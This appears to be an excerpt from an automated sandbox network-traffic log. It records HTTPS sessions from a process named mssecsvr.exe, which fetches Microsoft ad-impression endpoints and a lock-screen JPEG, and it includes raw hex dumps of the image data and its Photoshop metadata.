2022-07-20 17:07:00 UTC	81	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 49 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.7	53137	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:53 UTC	4420	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1815280248&PG=PC000P0FR5.0000000IRT&REQASID=34CD7B0BF17E4FC0A63593532E4CFEE6&UNID=338388&ASID=2f89133a103e4ca8a4b11feaa3c4f527&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=34c63308c0ac4ca2ab1cc10c85b91178&DEVOSVER=10.0.17134.1&REQT=20220720T170729&TIME=20220721T020828Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:08:53 UTC	4420	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f929acf0-2f63-4a58-94f7-23f4d4d18bb6 Date: Wed, 20 Jul 2022 17:08:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.7	53172	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:08:53 UTC	4420	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1815280248&PG=PC000P0FR5.0000000IRT&REQASID=34CD7B0BF17E4FC0A63593532E4CFEE6&UNID=338388&ASID=2f89133a103e4ca8a4b11feaa3c4f527&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=34c63308c0ac4ca2ab1cc10c85b91178&DEVOSVER=10.0.17134.1&REQT=20220720T170729&TIME=20220721T020829Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:08:53 UTC	4421	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 3842e987-2b84-4b97-91bc-47c62cbf0737 Date: Wed, 20 Jul 2022 17:08:53 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.7	53444	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:09:00 UTC	4421	OUT	GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:09:00 UTC	4422	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Pjc1?ver=a739 Last-Modified: Tue, 05 Jul 2022 21:45:59 GMT X-Source-Length: 1871414 X-Datacenter: northeu X-ActivityId: 2db28c9b-6909-4813-a9ac-c316ff1267c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1871414 Cache-Control: public, max-age=319213 Expires: Sun, 24 Jul 2022 09:49:13 GMT Date: Wed, 20 Jul 2022 17:09:00 GMT Connection: close
2022-07-20 17:09:00 UTC	4422	IN	Data Raw: ff d8 ff e1 26 b1 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 33 3a 30 32 20 31 33 3a 31 39 3a 33 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: &ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2022:03:02 13:19:328"
2022-07-20 17:09:00 UTC	4438	IN	Data Raw: d6 84 e1 8e 31 94 61 2f 51 31 19 4f 0f 17 a6 27 d3 08 ff 00 ab f7 3f 7f ff 00 62 21 7d 05 b6 dc df 52 c6 bd ad f5 6a 0d ac d8 1c 77 b5 ad 03 7d 97 1a c9 db bf dc da fd fe af b3 d4 51 ea 38 86 cb 31 ae 73 80 63 1f bd f6 b0 b5 92 1c cb 2a bf 6f b7 63 5b 6d 6e ad f6 32 df d0 df e9 7f 34 a3 86 3a 7e f6 5e 1e ec 47 d6 4f a9 48 b1 ce ad e3 46 fe 9a b6 fe 91 ce c5 df fa 37 fa 74 fd 3a aa b9 4e de a5 8d f6 2b 6b c9 b2 b7 16 87 7d a2 ab 1e e6 03 5d 83 75 2f 30 db 3e 9d 6d 66 cf 47 7f fc 17 a9 75 6a 21 09 71 09 44 13 44 44 c6 bf 7f 8a 12 f5 f1 7f 57 f4 59 00 b1 7a 0f ab 99 77 57 e9 f4 7e 83 1e fa ad 7b ec 0c 8c 52 e2 d7 96 fe 92 b6 c3 b6 37 1f 7b 9b ee f4 2f b3 fc 27 ee 7a 96 65 66 55 46 6e 3d 16 74 f6 39 bb 3d 41 7f b1 94 d6 d2 5c df 51 cd fe 75 b6 55 b3 77 a4 cf Data Ascii: 1a/Q1O'?b!}Rjw}Q81sc*oc[mn24:~^GOHF7t:N+k}]u/0>mfGuj!qDDDWYzwW~{R7{/'zefUFn=t9=A\QuUw
2022-07-20 17:09:00 UTC	4454	IN	Data Raw: 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 31 54 31 32 3a 35 34 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f Data Ascii: 07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-07-11T12:54:26-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_
2022-07-20 17:09:00 UTC	4456	IN	Data Raw: 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 30 39 30 34 31 35 5f 48 61 6c 6c 73 74 61 74 74 41 75 73 74 72 69 61 5f 35 30 30 70 78 2d 36 39 33 38 38 36 35 35 5f 47 72 61 64 69 65 6e 74 2d 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 35 3a 31 37 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 Data Ascii: s\v-lizagh\MS\Windows10\PrettyPics\090415_HallstattAustria_500px-69388655_Gradient-1920x1080.jpg saved 2016-07-12T15:17:03-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F
2022-07-20 17:09:00 UTC	4472	IN	Data Raw: 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 30 3a 35 34 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 39 54 31 32 3a 31 37 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 Data Ascii: ;2016-08-19T10:54:06-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-08-19T12:17:39-07:00 File C:\Users\v-lizagh\MS\Windows
2022-07-20 17:09:00 UTC	4488	IN	Data Raw: 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 36 54 31 32 3a 35 35 3a 34 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 45 6c 65 63 74 69 6f 6e 73 5c 4d 49 54 5f 45 6c 65 63 74 69 6f 6e 73 5f 35 30 30 70 78 2d 39 36 31 32 38 32 39 35 Data Ascii: ppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2016-10-06T12:55:42-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Elections\MIT_Elections_500px-96128295
2022-07-20 17:09:00 UTC	4496	IN	Data Raw: 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 36 54 31 32 3a 34 34 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 Data Ascii: 0 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-11-16T12:44:48-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE64
2022-07-20 17:09:00 UTC	4512	IN	Data Raw: 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 39 32 30 78 31 30 38 30 34 45 38 35 44 32 30 46 43 36 33 35 35 30 45 32 36 33 37 43 41 31 38 34 34 32 44 39 30 41 36 33 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 30 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 53 74 61 72 74 4d 65 6e 75 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 37 38 38 31 32 33 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 31 3a 31 35 2d 30 38 3a 30 30 26 23 Data Ascii: 00px-121190395_1920x10804E85D20FC63550E2637CA18442D90A63.psb saved 2017-01-11T11:00:02-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-StartMenu_GettyImages-167881236_1920x1080.jpg saved 2017-01-11T11:01:15-08:00&#
2022-07-20 17:09:00 UTC	4528	IN	Data Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 31 54 31 38 3a 35 32 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 4d 6f 6e 74 Data Ascii: #x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-02-21T18:52:32-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensMont
2022-07-20 17:09:00 UTC	4536	IN	Data Raw: 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 35 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 Data Ascii: 20x1080.jpg saved 2017-02-28T11:44-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1920x1080.jpg saved 2017-02-28T11:48:56-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\A
2022-07-20 17:09:00 UTC	4552	IN	Data Raw: 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 36 35 31 33 34 33 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 34 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 33 39 30 37 37 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 Data Ascii: rs\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-466513438_1920x1080.jpg saved 2017-04-12T11:44:58-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-493907750_1920x1080.jpg saved 2017
2022-07-20 17:09:00 UTC	4568	IN	Data Raw: 63 61 70 65 2e 70 73 64 20 63 6c 6f 73 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 38 54 31 38 3a 31 34 3a 33 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 30 36 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 30 35 54 30 39 3a 31 30 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 Data Ascii: cape.psd closed 2017-04-28T18:14:39-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-05-05T09:06:18-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-05-05T09:10:59-07:00 File C:\Users
2022-07-20 17:09:00 UTC	4576	IN	Data Raw: 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 38 3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 35 37 35 38 37 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 32 54 31 36 3a 30 39 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 Data Ascii: fficeGeneric_GettyImages-175758763_1920x1080.psd saved 2017-05-12T16:08:26-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-175758763_1920x1080.jpg saved 2017-05-12T16:09:58-07:00&#x9
2022-07-20 17:09:00 UTC	4592	IN	Data Raw: 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 38 54 31 31 3a 35 39 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6d 62 6c 65 64 6f 6e 5c 43 68 6f 73 65 6e 5c 4d 49 54 2d 57 69 6d 62 6c 65 64 6f 6e 5f 34 37 30 31 30 38 35 35 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 32 30 54 30 39 3a 35 32 3a 33 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 Data Ascii: ape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-06-18T11:59:27-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Wimbledon\Chosen\MIT-Wimbledon_470108550_1920x1080.jpg saved 2017-06-20T09:52:36-07:00 File Lockscreen_1920x1080_Land
2022-07-20 17:09:00 UTC	4608	IN	Data Raw: 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 33 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 43 68 6f 73 65 6e 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 46 59 31 38 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 36 37 33 33 31 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 33 3a 32 34 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e Data Ascii: _Landscape.psd opened 2017-07-26T13:23:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Chosen\MixerEngagementFY18_GettyImages-160673315_1920x1080.psd saved 2017-07-26T13:24:43-07:00 File C:\Users\v-lizagh\MS\Win
2022-07-20 17:09:00 UTC	4615	IN	Data Raw: 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 31 36 3a 33 33 3a 33 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 30 33 54 32 30 3a 35 37 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 Data Ascii: 41D85C30DE643DF5B579.psb saved 2017-08-03T16:33:31-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-03T20:57:50-07:00 F
